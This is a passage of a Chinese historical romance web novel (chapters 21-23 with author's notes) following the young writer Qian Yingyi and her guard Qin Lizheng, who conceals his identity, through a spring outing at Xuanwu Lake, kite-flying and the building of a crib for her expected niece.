他眯着眼,接着道:“我那妻弟王弋管着递运所,房中有个小妾正是升官那年所纳,他那小妾乃淮安人士,听闻有个表亲在淮安做丝绸生意,那表亲是个商户,淮安府的织造局管理不当,底下人躲懒,所以有一半的料子,都是出自他那,他一直想走我妻弟的路子,为的无非是官商相护。” 蔺边鸿翘着腿笑,“淮安府每年要往上头供不少丝绸,他既要为自己寻个庇护,就少不了要挪用手里最值钱的东西,那些丝绸,咱们至少要占一半。” “那商户姓什么?” 燕榆道:“只听说姓裴。” 想及丝绸昂贵,折算成银子不知有多少,燕榆心头那股气渐消,看燕如衡的眼色也温和不少。 灯烛的光微微摇晃,映得他的神情愈发难测,他笑一笑,向燕如衡摆一摆手,“三郎,还不去请你舅舅来?” “哦,别忘了再多谢你舅舅,若非他与吏部的温大人关系不错,把你调任了回来,爹哪怕是有银子也不方便使。” 燕如衡噙着笑点头称是,待出了那扇门,唇畔的笑倏然淡下,反剪在背后的双手也渐渐握紧。 一路行至抄手游廊,小厮箬山窥一窥他,知他挣扎在血缘与养育之恩里,嗟叹一声,上前劝道:“少爷,别想太多,您何苦为难自己?其实换个角度想,您把事先办了,届时再娶了钱小姐,抓准机会再调任去别的地方,两个安安心心过一辈子,倒比在两边都为难要好。” 大约是下晌才见过钱映仪,想及她温软的笑,燕如衡眼色倏转。 那侍卫临走时的挑衅也霎时浮现在眼前。 “你说得对,”燕如衡须臾多了一股劲,脚步渐渐加快,“若能娶到她,或许我也能解脱。”—— 作者有话说:今天写得快,提前发咯。 钱映仪:[问号][愤怒][白眼][害羞] 面对燕如衡时,侍卫一股茶味都快溢出来了哈哈哈哈哈哈 第22章 光阴转瞬,一晃清明过去。秦淮河岸纵情畅饮,佳丽如云。二叔钱佑年昨夜归家,今晨又要走,临行前,送了封信来云滕阁。 钱映仪垮了脸,使性子不去接,“又是爹的信,是不是?不回去不回去,我说了不回去!” 钱佑年轻攒眉头,面色不赞同,“快拿着,二叔还得往永平赶,你爹哪能害你?皱个小脸真丑。” 她哪儿丑了?钱映仪不情不愿接过信件,旋裙往正屋西窗去,“啪”的一声随意扔进去,复又回身向钱佑年吐一吐舌头。 钱佑年莞尔摇头,自顾往外赶去了。 因三番五次来信的缘故,钱映仪很是气恼,叉着腰在廊下骂,“管他什么一品二品三品官员家的少爷!没见过,统统是矮个子小眼睛,不若就是肥手猪脸,我十岁时,爹娘就管不住我了,想逼我回去相看,不能够!我偏不回去!” 哪有半点大家闺秀的样子?这模样叫外头门户里的太太们瞧见,扑在脸上的香粉都要笑掉两层! 小丫鬟们见怪不怪,窃窃笑了两声,不当回事。钱映仪眼风四下乱飞,不一时,喊来小玳瑁:“我问你,倘或你爹娘叫你娶个没见过的女人,你答不答应?” 小玳瑁满心满眼都是春棠,哪能答应?登时板着脸答:“不答应!打死我也不答应!人这一辈子若不能与所爱之人相守,不如独过一生!” 这话酸耳,钱映仪嫌弃把他瞟一瞟,薄薄的身子打了个颤,“也不必说得这样肉麻。” 夏菱在一旁笑弯了眼,把个篮子塞进小玳瑁臂弯里,“那这筛花瓣的活就交给你,都说考验一个男人有没有耐心,要从他干活细不细致来看,这花是春棠采了用来酿酒的,你择一择?” 小玳瑁提起精神,不由自主去悄瞥春棠,明知她听不见,却仍乐呵呵笑了,高声道:“都交给我!” 春棠轻咬下唇躲在被衾后头,暖阳晒得被衾满是安心的味道,也把她粉嫩白皙的小脸晒得红扑扑的。即便听不见,透过小丫鬟们的眼色,她也能猜出七八分。 哪能不羞? 钱映仪眼里的璀璨星点亮了亮,双眼在小玳瑁与春棠之间来回打转。她私下问过春棠对小玳瑁是否有意,彼时,春棠只红着脸坐在灯下。 当年她与爷爷捡春棠回来时,春棠浑身脏兮兮的,眼底满是对生人的防备,撕咬起人来能活生生咬下一块肉,可不是什么娇柔温婉的性子。倘或她不喜欢,必然直接拒绝。 想及此处,钱映仪吭吭笑了,打心底要替二人制造一场美妙的机会,故而清清嗓,把墙头鸟雀望一望,道:“小玳瑁,这些日子,往玄武湖踏青的人是不是很多?” 小玳瑁正埋头挑拣花瓣,闻言把头一抬,愣道:“是挺多,小姐要出去耍一耍吗?” 钱映仪欣欣而笑,忙不迭命夏菱去备些瓜果点心,自己回正屋换了身衣裳,打扮得伶伶俐俐就引着几人往外走,“自然是要去的!” 风暖繁弦脆管,万家竞奏新声。这时节花开烂漫,往外踏青的小姐们都乘坐马车,时不时把那车帘撩一撩,引得走马少年暗拉缰绳。一个不留神,路就有些拥堵。 两道的摊贩一惯会做生意,趁着这时候一涌而上,有个话本小贩背着书箱,大约是为了吸引小姐们去买,箱笼一旁缠了一圈桃花,很是亮眼。 这一挤,挤到了钱家马车旁。小贩笑了笑,一抬脸撞 见个冷眼年轻人,暗想他应是不会做自己的生意,琢磨片刻,到底还是硬着头皮掏出一册话本,“官人,您看话本子么?” 秦离铮淡扫他一眼,只道:“不看,请退后些,马车不长眼,倘或伤了您就不好了。” 不防小玳瑁凑个脑袋过来,一连迭追问:“什么话本子?你那都有些什么?话本子自有书斋卖,你这话本子不是打哪偷来倒卖的吧?” 小贩见他和善,忙也跟着扯出一个笑,“哎唷,哪能呢,小的是富宝斋的,富宝斋归印宝阁的东家管,是东家说开春了日头好,书斋里头阴凉,想必客人们不爱进去,这才使小的背着话本来外头转转呢!” 他把那话本递给小玳瑁,“小官人,这本是金陵小红豆最新著作,在扬州府苏州府卖得可好呢,您瞧瞧?” 这“金陵小红豆”的名号,小玳瑁自是听过。碍着外头吹嘘得太过,他反倒生出逆心,刻意不去买。 今番赶巧碰上,眼瞧路还堵着,小玳瑁百无聊赖,索性买来上下两册。岂知这一垂眼轻扫,先被书封上的“武生小像”吸引,笑嘻嘻在天光下斜给秦离铮看,“嗳,你瞧,还画了小人。” 秦离铮依旧只是轻扫两眼,目光掠至那署名下的篆印,见其是个垂耳小兔时,稍稍再停留了一瞬。 俄延半晌,在小玳瑁看至那虞娘启程预备骗人的情节时,路总算通了。他匆匆捡回怀中,忙不迭驭车钻进空隙,不一时就渐往太平门的方向驶去。 日暖风和,春来江水绿如蓝。水面上的游船来往不迭,嬉笑声阵阵传来,听得钱映仪下马车时都兴奋不少,捉裙就往湖边奔去。 不光富贵人家,便连寻常百姓也懒洋洋倒在青草上,钱映仪心情大好,记起那正事,遂往一处空地行去,那双剔透清亮的眼睛转了转,道:“哟,我才记起,春棠好似是头一回来这玄武湖呢,小玳瑁” 她扭头去唤少年,笑嘻嘻的,“你少时便来金陵了,带春棠先去转一转?” 到此时,小玳瑁脑子里的那根筋仿佛才一瞬搭正,木木愣在原地,脸上渐渐泛起红晕,心中很是高兴,可又恐春棠拒绝,只能把眼神停在她单薄的身影上。 好在春棠被夏菱轻轻推了推,虽垂着眼,脚步却是轻挪,一步三回头挪到了小玳瑁身边。 钱映仪把二人睃一眼,笑着摆摆手,“去!” 小玳瑁紧张得手心汗直冒,连手脚都不知该往哪放,眼睛往四面一睃寻,盯准一块面朝湖岸的大石头,便讪笑着向春棠比划。 两个人行至石头后面,渐渐已听不清钱映仪那头在笑说什么。 小玳瑁止不住地用余光偷瞧春棠,往怀里摸出个洗得干净的绿果儿,轻颤着手递与她。 春棠接了,放进嘴里咬一口,酸得眼眉鼻嘴都快皱到一处去! 小玳瑁吃惊,忙夺了那绿果儿,“呸呸呸,快吐出来,是不是酸着了?我也真是傻,递这个给你做什么!” 大约是紧张,又或许是情思压抑得久了,更或是晓得她听不见,窥她避着他将嘴里的绿果儿吐在帕子上,小玳瑁低垂下眼,壮着胆子道: “春、春棠,我喜欢你。” “自从到小姐身边伺候,我就喜欢上你了。春棠,我的剑穗坏了几根,你当年替我用棕色的丝线打了个结,我现在还舍不得换呢。” “春棠,我能不能成为你的依靠?我什么都能干,不管你高兴还是难过,都可以拿我撒气,不我是说,我是说你打我骂我,我都不会还手,哎呀我不是这个意思,春棠,我想娶你,春棠,我” 话音至此,袖摆倏然被一只手轻掣住。 小玳瑁眸色轻颤,看着那双绣着红杏的绣鞋走到自己面前,猛然一抬头,就见春棠低眉避着自己。 他暗道他不该用一席话来说给她听,他该表达给她看,恐她觉得自己不尊重她,心中急了,忙歪着脸把她窥一窥,又慌忙在她面前比划起来。 岂知两条胳膊还未抬起,眼前猝然凑近一张含笑的脸,那两片软绵绵的唇带着一丝酸涩的余韵,印在了他的唇上。 春棠听不见,可在她旋身凝视他时,依稀能从他的唇间认出自己的名字 一遍,两遍,三遍 堤上花瓣随风飘来,远山春意亦正浓,两颗心在这一刹那陡然停了停。 吻一触即止,小玳瑁摁不住跳动的心,止不住发颤的手,要去揽春棠的腰,却被春棠抵住胸口推开,羞怯怯往另一头行去。 少年霎时醒神,又惊又喜,想及她从未到玄武湖瞧过,忙不迭跟了上去,总隔着小半截距离,又按捺不住想再靠近一些。 二人的春思盛开在芳草花卉里,愈开愈耀眼。看得钱映仪把目光收回,捂着帕子直笑。 她向来很在乎身边人的幸福,倘或二人有情,何不推进一把呢? 夏菱也眨巴着眼感慨,“他倒是真情实意。” 往底下垫了块干净的四方巾,钱映仪盘腿坐下,掬着脸把冷脸的侍卫望一望,倏道:“林铮,你过来,总杵得那么远做什么?咱们三个玩一玩游戏。” 秦离铮默然走到她身侧,正要坐下时,不防身后响起个声音。 “钱小姐?” 钱映仪茫然回望,待看清来人,不免也诧异,“璎娘?你怎的也出来了?真巧!” 璎娘今日打扮得与门户里的小姐一般无二,绾着高高的髻,捻着粉色的帕子,她把声音放得软软的,笑着与钱映仪福身,“干娘允我歇唱几日,我在楼里干坐着无趣,便也往外头来,可才走几步便险些崴脚,是这位官人及时扶我一把,我才没出丑相” 她往一旁让一让,钱映仪方瞧见不远处站了位身姿挺拔的年轻男人,穿一身竹月色交领直裰,头戴唐巾,端的是玉树临风。 钱映仪了然,想及两方已然撞面,便大大方方挪开个位置,“我们正想耍一耍呢,你与那位官人要不要加进来?” 她如此平易近人,叫璎娘心中愈发想亲近她,暗道年轻男女在踏春时聚集玩乐是常有之事,便也不扭捏,兴高采烈朝那年轻男人招手,“还请过来这里!” 待年轻男人走近了,夏菱方起身朝他行礼,“我家小姐是姓钱,敢问官人姓?” 岂料对方诧然剔眉,旋即抿出个笑,“钱小姐?可是琵琶巷钱家?” 夏菱一怔,把锐利的眼神往他身上放一放,久未出声。 年轻男人伏腰作揖,道:“我姓裴,凑巧住在琵琶巷,咱们两家是邻居。” 钱映仪轻眨着眼,也跟着笑,“那日日听戏的人原来是你!” 裴骥将唇角勾一勾,守礼先叫璎娘坐下,才道:“我今日也是闲来无事,正还带了些点心,倘或嫌不好吃,我可使人跑马回城,去河边最好的食肆里买上几份送来。” 他行事大方又不计较银钱,叫璎娘又暗暗把他窥一窥。 一番交谈,得知他在淮安府做丝绸生意,钱映仪只当记下了,转而道:“咱们玩行酒令,如何?” 璎娘笑吟吟抚掌,“我虽念的书少,却也通些诗词,可是行雅令?” 钱映仪摇一摇头,道:“诗词多没意思,玩最简单的即可。” 她随手捡起根树枝,把托盘上的碗碟倒扣,解释道:“它只要停下,两端便会各自对准一人,二人猜拳,输的人要回答赢家一个问题,不许说谎。” 又道:“以茶代酒便可,在外头玩,不好喝得醉醺醺的回去。” 众人把头轻点,只当知晓。璎娘又唤来随行的一个小丫鬟,凑足六人。 陡然来个陌生男人,秦离铮面色未改,只是在钱映仪玩得兴起时,暗自往她身侧靠了靠,用半边肩头遮挡一些视线。 一轮下来,夏菱先输,赢的是璎娘。璎娘倒不客气,笑吟吟问:“姐姐觉得我美不美?” 哪有人问这个的?夏菱失笑,还是认真答道:“美。” 璎娘暗把眼风投向裴骥,偷笑两声,复又招呼再玩。 岂知这回又是夏菱输,她不大服气,笑骂是自个坐得位置不大好,便与璎娘对换,再由她转时,树枝果真指向钱映仪。 而她的对面,则是裴骥。 裴骥温和笑了笑,作势与她猜拳,钱映仪玩这个算 是行家,偏这裴骥更胜一筹,给赢了去。 裴骥这下直接仰面吭笑,像是与她开玩笑,不经意问:“不知钱小姐平日最讨厌什么?又最喜欢什么?” 寥寥两句,使秦离铮蓦然抬头盯着他。 那璎娘带来的小丫鬟懵懵懂懂,问道:“不是说一回只能问一个问题么?” 秦离铮两眼缓慢把裴骥审视,心头觉察出一丝不对劲,尚且还未抓住,便听钱映仪笑吟吟道:“那我只能二选一囖,我最讨厌别人骗我。” 秦离铮渐起疑云的一颗心霎时被拽回她身边,他沉默垂着眼,看着青草下二人交汇的影,听她万分笃定的语气,倏地有几分惶然。 游戏进展得快,轮到秦离铮时,他多少有些出神,轻易赢了那小丫鬟后便木着一张脸,只道:“我没什么想问的。” 叫他一打岔,钱映仪也有些败兴,丢开手客气抿出个笑,朝璎娘二人道:“对不住,我总输,寻不到输赢的欢乐,不大想玩了。” 璎娘本就为裴骥而来,自然也想与他再多待一待,听了这话笑颜更甚,“不妨事呢,游戏而已。” 到底临时起意,那裴骥也没理由再留,因此起身拍一拍袍角的杂草,道:“今日真算是一场缘,钱小姐,咱们是邻居,往后还请多关照。” 继而与璎娘一道往另一头走了。 璎娘在前头赏花赏景,裴骥就在后头跟着,一路噙着笑,远瞧也算一对壁人。不一时,裴骥身边那小厮过来,低声道:“爷,大好的机会,怎么不与那钱小姐多说两句话?” 裴骥盯着璎娘的背影,细看眼底却没有情,他扬着眉似笑非笑,信步闲庭,“多亏了她凑到我面前来,说是往后会常在钱家唱戏,我才故意与她在此相遇。” “应天府的一把手都要讨好钱家,我自然也要紧随其后,他们想占我的利,我也有选择靠山的权利,若这钱家更胜一筹,我也不必去巴结他们,谁又会想把银子拱手相让?” “先按住不动,我只是个商户,能说得上话已是不易。” “况且,”裴骥脚步顿一顿,渐眯双眼,“钱小姐身边那侍卫不太简单,方才只是一句玩笑,他看我的眼神与盯着案板上的一块死肉没什么区别。” 阴谋诡计暂且按住不表,只看那璎娘回身冲裴骥笑一笑,裴骥也跟着弯起唇角,脚步加快跟了过去。 这厢钱映仪稍扬下颌去瞪侍卫,“好好的,你扫兴做什么?” 秦离铮收回审视裴骥的目光,转过脸来瞧她,想及她那句“被讨厌被人骗”,薄唇轻张,最终只道:“我不大会玩这个。” “那你会玩什么!”钱映仪把唇瘪一瘪,“好容易高兴起来,险些又叫你败兴!” 话音甫落,就见侍卫转背快步离去。 “嘿!”钱映仪气鼓鼓握拳,与夏菱道:“还说不得他!他倒有脾气了!” 小玳瑁与春棠不知转去何处,钱映仪也没嚷着要回城,见日头正晒,便把帕子盖在面上遮一遮。 夏菱嫌热,便拽了个篮子倒扣在脑袋上。 周遭嬉笑吵闹不停,身后渐起一阵沉沉的脚步声,送来一阵清爽的薄荷气。 钱映仪仰着脸没动,听出是侍卫,自鼻腔里哼出一声,“你走啊,又回来做什么?不是受不得我说两句么?” 她一张小脸完全被裹在帕子下,说话时,那挺立的鼻尖就动一动,隐约露出小半截白皙细嫩的下巴。 秦离铮抿了抿稍稍干燥的唇,不由自主擎着手中的东西去轻刮她的下巴,语气也放得很软,“我不是要走,玩不玩这个?” 钱映仪被唬一跳,霎时掀开帕子,待看清他手中的纸鸢后,神情尤其惊喜,“我先前就想玩这个呢,下车时找了一圈没找着卖的,你往哪里买到的?” “贩子躲在树下小憩,”秦离铮朝她伸出胳膊,“去放会儿?” 钱映仪喜滋滋攀着他那截结实的小臂起身,正要拍一拍裙摆的杂草,倏见他屈下一膝替她拂走,她心中那团本就很小的气性顷刻消散,高兴起来不与他再计较,反倒大大方方道:“谢谢你呀!” 见夏菱打着盹,钱映仪也不叫她,自顾悄步离去。 纸鸢是蝴蝶样式,钱映仪由秦离铮带去了一处没什么人的空地,扯开线抖了抖,旋裙就将纸鸢往半空一抛,继而含笑奔跑。 她很会放纸鸢,从前在京师时就爱与那时的朋友一起放。可到了金陵后,细细检算这十年,竟是一次也未放过。 钱映仪愈放愈高兴,久久凝视着那蝴蝶,与侍卫道:“你看我放得好不好?” “很好,很高。” 钱映仪牵着唇笑,笑音里满是畅快。瞧着还不够高,她往前跑了小半截,又倒着往后退,意图将蝴蝶放得更高。 岂知迎着天光盯得太久,有些花眼,瞧脚下时一阵恍惚,一歪就往后倒。 钱映仪尚且来不及低呼,下一刻就倒进一双结实有力的臂弯里。 因跑了好一阵,她面上浮着一层薄薄的汗,脸上渐起红晕,直至面色涨红,这其中缘故不知到底是陡然停下血液回涌,还是忽然被侍卫接住。 这下惊得她连线也不扯了,模糊不清的视线里只有一面紧致锋锐的下颌,涌进鼻腔里的气息也不再是青草香,而是他独有的薄荷香。 她凝望他片刻,却始终看不清他的眼眉。 只觉那张脸仿佛越来越近越来越近 秦离铮情不自禁俯低自己,想靠近她,心中有股冲动紧紧牵着他,想衔住她轻张的嘴唇碾磨,想再抱紧她一些。隐秘的心思即将藏不住。 他晓得,她此刻看不清。 在彼此近得快要接近耳鬓厮磨时,秦离铮闭了闭眼,到底把她松开,强摁住了那个蓄势待发的吻。 “小姐,小心脚下。” 怪哉,是她的错觉?钱映仪的心诡谲地抖了抖,握着线的手也陡然收紧,把那纸鸢往下拽了拽。 很奇怪,方才他替她拂去杂草时,她很自然能感谢他。他刚又扶了她一把,她理应再谢谢他。 钱映仪滚了滚咽喉,重复的那句“谢谢”始终说不出口。 偌大的玄武湖面总能时常吹起一阵风,那蝴蝶在半空被吹得乱晃,像被困在风里挣扎。 钱映仪愣愣收回眼,抿着唇后退半步,小声道:“我我不想玩了。” “为何?” 钱映仪面上燥热,不管不顾把那团线塞进他的手里,不留神指尖刮过他炙热的掌心,又是一缩,撑出一抹笑,两只手飞快在脸旁扇动,“我热,我真、真不想玩了,你去放,我看着。” 秦离铮缓慢摇着线,两眼盯着她片刻,暗勾唇畔的笑,乖乖听她的话,转背去放那只纸鸢。 渐渐日暮四合,天边暮云层层叠叠。要归家时,消失已久的小玳瑁总算带着春棠踅过来,由晚霞映着,二人面上也红扑扑的。 钱映仪一路跟在侍卫身后,那纸鸢虽回到了她的手里,她的目光却不时落向他的手。 好在这令她自己有些不懂的感觉在瞧见春棠二人时转瞬即逝,她复又笑眯眯把一双眼睛在二人之间来回打转,忙提裙就跑了过去。 回城时依旧热闹,钱映仪今日算得上十分高兴,因此在用过晚膳后,想及还有封信未拆,到底是给了亲爹面子。 月辉斜斜洒下,钱映仪坐在窗下看信,愈往下看,面上笑容愈发掩不住。 最后竟是一拍桌案跳起来,一连迭跑出正屋,满院子搜寻夏菱,“夏菱!夏菱!哥哥姐姐要来金陵了!” 她未曾想信中是这样 一记惊喜,在廊角寻至夏菱的身影,当即把夏菱抱一抱,高兴得有些哽咽,“我都三年没见过他们了!他们要来金陵了!” “是娘的笔迹,娘说姐夫被任命江南巡抚,要带着姐姐往金陵来,嫂嫂怀孕了,哥哥要往扬州去办事,顺道送嫂嫂过来!”钱映仪真就喜极而泣,两滴泪珠洒在夏菱的肩头,“夏菱,我好开心,好开心!” 夏菱打小跟着她,明白她与兄姐关系亲近,窃喜的声音藏都藏不住,“果真?这回大少爷与二小姐都来金陵,奴婢看谁敢在外头笑话您!” 钱映仪哪管得了这些,早已被喜悦冲昏了头,又提裙去寻春棠,岂知这一路跑去却先撞见秦离铮。 她早已高兴得忘了下晌的旖旎,自顾向他狂奔而去。 秦离铮这一抬眼,看她笑靥如花奔向自己,不由地发怔愣在原地,心跳漏了一拍。 两条胳膊险些就要抬起来接住她。 钱映仪两三下跑至他身前,拍着他的臂膀笑,“林铮,林铮,我哥哥与嫂嫂、还有姐姐与姐夫都要来金陵了,天老爷,我今夜要高兴得睡不着觉了!” 秦离铮神色一凝,半晌扯出个笑,“是吗?” 她的姐夫余骋与她的兄长钱林野,可都曾在皇上身边与他打过照面。倘或他们来,他的身份不一定瞒得住。 钱映仪顾不得许多,又要将这好消息告诉旁人,踮起脚来拍一拍他的肩就旋裙离去。 不防这一转身,有个小小的物件顺着她的裙摆往下落。 夏菱忙着去追钱映仪,匆匆从秦离铮身侧走过。 秦离铮弯腰捡起那物件,凝视时不由地眸色微闪。 那物件正是个篆刻得小巧可爱的印章,上头的图案正是只垂耳小兔。 黄纱灯笼里的火星子噼啪响了两下,秦离铮稍显错愕地盯着印章,俄延半晌才转背往正屋行去,片刻到了西窗外,悄无声息将印章搁在钱映仪常用的那张书案上。 正逢小玳瑁痴痴走过,秦离铮截停他的脚步,朝他伸手,“借我看看。” 小玳瑁明显拘在柔情蜜意里,下意识问:“啊?” 秦离铮不与他废话,往他怀里摸出那两册话本,紧紧攫在手里,旋即往休息的寝屋去。 他夺得痛快,真沉下心来看那话本子时,忽然又产生一股茫然。 他自认足够了解她。可看过她写的故事,他惊觉她只是摸到了她的世界一角。 今日发生太多不设防的事,秦离铮深深吸气,仰面把背欹在椅上陷进沉思。 理智也逼迫他在须臾间分清了轻重缓急。 居心叵测的人要接近她,他可以设计让其远离。她是金陵小红豆的秘密,他亦可当做不知,只悄悄掩藏起这秘密 可余骋与钱林野倘或揭发他的身份。 他还能留在她的身边吗? 窗下一灯如豆,映得秦离铮的脸半明半暗。他想,他开始期盼梦境成真,倘或真有那个可能,抛开仇恨与名利,抛却所有,他愿意与她在这偌大的金陵,在她熟悉的钱府 如多日前的那个梦一般。 做一辈子的小姐侍卫—— 作者有话说:我要喊出我的口号:纯爱无敌——! 我第一次写暗恋文,觉得还是该一步一步来[害羞] 本来想安排他们坐船,然后两个人之间的气氛逐渐升温,但是依照夏菱的想法,不可能放侍卫和小姐单独坐船,毕竟船算一个很隐私的空间,大环境就稍微好些,所以改成放纸鸢啦~[害羞] 说句题外话,我去南京玩的时候,就坐了玄武湖里的那个船,我滴妈呀,我不会游泳,当时是非常害怕。[爆哭] 第23章 门外正是芳菲时节,绿荫密匝。钱兰亭午晌抽空归家,把脸从碗里抬出来,两眼都是喜色,“当真?” 钱映仪点头如捣泥,“再真不过了!” 她昨夜高兴得过寅时才睡,辰时又从帐子里坐了起来,前后将将两个时辰,却犹显激动,笑嘻嘻道: “娘说嫂嫂怀孕不过三月,在家中频频发呕,家里厨子做的吃食嫂嫂吃不得,外头请的厨子娘又不放心,娘自己也糊涂,恐坏了嫂嫂养胎,想到二婶婶当年怀弟弟时也是如此,便想叫嫂嫂来金陵,托二婶婶照料一番。” “哟,那真是大稀客!”许珺也高兴极了,握着箸儿发笑,“只管叫他们来!天老爷,我要做叔祖母了!” 钱映仪扒了两口饭,顾不得细嚼慢咽,匆匆咽下就起身往外去,“爷爷也要升辈儿囖,您与二婶婶请慢些吃,我有件大事要办,先走啦!” 这厢跑出小花厅,夏菱与春棠忙跟来,钱映仪拔脚往后院行去,实在是高兴,半路又倏地停下,拉着春棠的手去唤:“小玳瑁,小玳瑁人呢!” 少年匆匆跑来,眼亮如星辰,“小姐?怎么了?” 钱映仪轻推春棠,一语双关道:“家里喜事临门,我突然有些想吃酒酿元子,春棠知道我的喜好,你们一齐去办。” 小玳瑁哪里会不懂?赧笑着抚一抚后脑勺,忙不迭地就应下,带着春棠一并往外头去了。 钱映仪继而穿廊过,吩咐夏菱道:“好夏菱,咱们家里是不是还有好些木板?你现下也去外头请个工匠来,银子好商量,只请做活细致的来,我要” 话音顿停,钱映仪目光凝在迎面而来的侍卫身上,想及他找人修的簪子挑不出错,兴许识得这方面的工匠,便忙凑过去问:“你可认得手巧的工匠?” 秦离铮见她跑得鬓发微散,背在身后的手指轻捻,反问:“要工匠做什么?” “自然是给我未出世的侄女打张小床呀!”钱映仪盯着他的脸,渐渐被那两颗痣吸引去,又忙回神,轻轻跺一跺脚催促他,“说话呀,你认不认得?” “不认识。” 钱映仪暗暗嘁了声,越他而去,“白问。” “但我会做。” 钱映仪回身望他,不大相信,“真的?” 秦离铮点点头,斜射的一束光打在二人中间,他便往前走两步越过光,随口道:“少时与人学过修屋子,做个孩童睡的摇篮不是问题。” 钱映仪瞧他神情认真,当即旋裙领着他往一处归置杂物的院落行去,“那正正好,省得去外头请工匠,工钱届时换成月钱与你。” 没几时的功夫走到那处院落,夏菱明白钱映仪爱干净,遂先进了那杂屋推门开窗,把积攒的灰尘扑一扑,方唤着钱映仪进去。 屋子里堆满木材,钱映仪伏腰一一指点,命秦离铮将其搬出去,这时又才想起一件重要事,忙道:“夏菱,你回云滕阁取我的纸笔来,我画一张图纸叫他照着做。” 夏菱不作多想,心里头也高兴家里要迎来崭新的小生命,喜滋滋就折返回去了。 年轻人力气大,两趟功夫便将要使的木材都丢在院子里,只是扔的时候没用劲,恐扬起的灰尘扑上她的脸。 只是留神起她来,便忘了自己。 钱映仪瞧他身前沾满木屑,额心稍紧,轻咳一声道:“脏。” 秦离铮垂眼扫量自己,料想她又看不惯自己脏兮兮,低低笑了声,抬起胳膊就欲拍下,不防就是在此时又忆起头回见面时,他浑身湿漉漉的,她亦如今日这般嫌他脏,还朝他丢了条帕子 动作一顿,那只手往背后也拍了拍,旋即转身去寻锯子。 “慢着。” 秦离铮缓缓侧身望着她抿唇的神情,眨了眨眼,“嗯?” 钱映仪素手一指他的背,“背上也有,没拍干净。” “是么?” 他反手往背后去拂,左右就是摸不准,钱映仪终于看不过去,往袖管子里摸出一条帕子,命道:“站那儿不许动!背过去!” 秦离铮乖乖照做。 轻浅的脚步声没几时行至他身后,那只手轻轻贴上他的背脊,一下,两下,帕子与他的衣裳摩擦成微弱的声音,在秦离铮的耳朵里被渐渐放大,像在他心房凶狠敲击。 可手的主人却始终缄默,稍刻,脚步渐退,她也没理由地连声音都变轻了,像在找补:“好了,我喜洁净,往后多注意些,小玳瑁从头到脚都是干干净 净的,你也多学学他。” “是,谢谢小姐。” 日头正盛,钱映仪立在屋檐下,一张红唇喋喋不休,从那小床要做多大说到上头的细枝末节,又道:“哎呀,反正待会夏菱取纸笔过来,我画与你瞧你就知道了。” 秦离铮闷声用锯子将木材一分为二,只是偶尔扭头窥一眼她的笑颜,他好像也被她的笑浸染,温声问:“就这么高兴?” “那是自然!”钱映仪斜眼瞟他,好似嫌他不懂她的欢乐由何处来,一反常态耐着性子与他解释道:“从前哥哥与姐姐每年都往金陵来看我,后来哥哥考中进士做了编修,娶了我嫂嫂,我姐姐也嫁了人,他们渐渐来金陵的次数便少了,上一回见他们还是三年前的年关呢!” “我想想”她欣欣笑起来,掰着指节细数,“头一年是因姐姐随姐夫回老家祭祖,嫂嫂是家中独女,哥哥陪嫂嫂回娘家过年去了,第二年依旧如此,第三年本来要一齐过来,怎知哥哥与姐夫的公务繁忙,又一时没走开,只我爹娘回来了。” 她说话时神情灵动,像树梢上鸣唱的鸟雀,秦离铮锯木头的动作放缓不少,恐她不留神吃进木屑,干脆整个人背对着她,又问:“小姐的兄姐各自嫁娶,小姐也没回京师去?” “这个嘛”钱映仪在他背后窃窃笑了两声,有些不大好意思:“哥哥成婚时,我染了风寒,姐姐成婚时,我往金铺去取打给她的贺礼,被一条未牵绳的大狗吓得当夜发起了烧,也给耽误了。” 秦离铮动作蓦然停下,想起那夜偷听时,她曾谈及在街边撞见年少的他因为一条狗与人互殴。 少时他的确爱养狗,那条狗乃兄长捡了赠与他,取名松松,是只卷毛小白狗。 她说她最怕狗。 秦离铮脸上罕见有些发讪。先前他觉得她好像生来就会磨砺他的耐性。 如今细细检算起来,何止是这些?他与她仿佛天生就站在彼此的另一端,或是喜好,又或是别的。 但这不妨碍他暗暗把此事记在心中。秦离铮默然想着,倘或她能对他有情,待回了京师,松松还是先送去褚之言那避一避吧。 在他良久的沉默里,夏菱总算捧着纸笔彩墨踅回院落。 钱映仪登时来了兴致,使他去搬张四方桌出来。待夏菱来来回回擦拭干净长条凳,钱映仪便一屁股坐下,就着亮眼的阳光在纸上勾画。 大约是不太习惯在光下作画,钱映仪时不时搓揉一下眼梢,再要蘸墨时,挥洒在桌上的阳光被遮住,静静覆上一片阴影。 她倏然抬脸。 年轻人好似没有察觉,只是立在前方挑选木材,仿佛只是凑巧遮住了那扇光。 她说不出是什么感觉,半晌,只得把脑袋垂下,继续那张未完成的画。 秦离铮握着木材反复扫量,终于在她不设防的一刹那去凝视她。她作画时模样犹显认真,脑袋虽垂着,背却依旧挺得很直,整个人温软得像天上的云团。 他倏然想到那两册话本,上头的武生小像栩栩如生,武生的长枪仿佛也如她笔墨下的精怪一般,能攫住人的心肠。很是奇怪,她这样柔软的一个人,怎能写出那样血腥残忍的东西? 残忍到将北镇抚司的诏狱与之相比也自叹不如。 秦离铮好像又离她近了一步。 他的目光始终跟着她的笔尖走,在脑中也把她逐一描绘,看似隐晦,却又坦然,只要钱映仪一抬头,便能看见他逐渐有些变了味的眼神。 和煦的暖日渐起一阵微风,吹得树影荡漾。并不漫长的一刻在秦离铮隐秘的注视下陡然离去,钱映仪捡起画吹一吹,向他招招手:“过来,你便照着这个做。” 秦离铮渐敛心神走过去,垂眼去瞧她手上的画,她嘻嘻笑道:“下头的式样与寻常人家里的一样,但要往上头再搭一块木板,能遮住一半,从这中间架两根细细的木头” 她指着画上的彩球道:“届时我再寻些细细的彩绳盘成球,串成珠帘那等样式,挂在这上头,你可明白?” 秦离铮静静笑了,“明白。” “那就快些做!”钱映仪那股兴奋劲犹在,暗自摩拳擦掌,“我在一旁看着,我可是头一回做姑妈,送与侄女的小床自然要十分精细才行!” 于是加上夏菱,三个人在这堆满杂物的院落一并做起赋予新生命的温床。钱映仪时不时指点一二,秦离铮也只照做。 渐渐地,落日熔金,暮色笼罩着院落四周,墙头野花馥郁芬香。钱映仪今日的话格外多,说得正是口干舌燥。 夏菱先前顺手拿来的茶水将要见底,她遂笑道:“太太还未传话用晚膳,小姐饿不饿?厨房离得近,奴婢干脆先去取些来,顺道再沏一壶温茶。” 此举正合钱映仪心意,不大在意地挥一挥手,夏菱便捻着笑出去了。 秦离铮顺手把浸泡薄荷叶的茶水送进嘴里抿一口,复又埋头苦干,反复将那小木床打磨得愈发平整光滑。 觉察到脸上落了一记目光下来,他只扇一扇微卷的睫毛,动作依旧。 